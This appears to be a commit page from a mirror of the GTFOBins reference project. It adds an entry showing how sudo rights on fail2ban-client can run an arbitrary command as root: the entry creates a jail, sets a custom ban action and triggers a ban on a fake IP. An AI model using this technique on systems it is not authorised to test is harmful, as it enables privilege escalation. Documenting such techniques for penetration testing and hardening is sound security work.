1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2025-12-27 18:51:41 +01:00

Merge d2a94718c9b12617d59cbbc4bfff547fb25136e2 into b29f2cfde1c72e4ea5191e49604e923bbda98461

This commit is contained in:
M. Cory Billington 2025-10-28 11:40:26 -04:00 committed by GitHub
commit da2b3b5b42
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

@ -0,0 +1,15 @@
---
description: |
The subprocess is immediately sent to the background, but `fail2ban-client` waits on a return code from the subprocess. The `banip` command will hang until the subprocess returns.
functions:
sudo:
- code: |
COMMAND="id"
sudo fail2ban-client add woot
sudo fail2ban-client set woot addaction wootaction
sudo fail2ban-client set woot action wootaction actionban "$COMMAND"
sudo fail2ban-client start woot
sudo fail2ban-client set woot banip 999.999.999.999
sudo fail2ban-client set woot unbanip 999.999.999.999
sudo fail2ban-client stop woot
---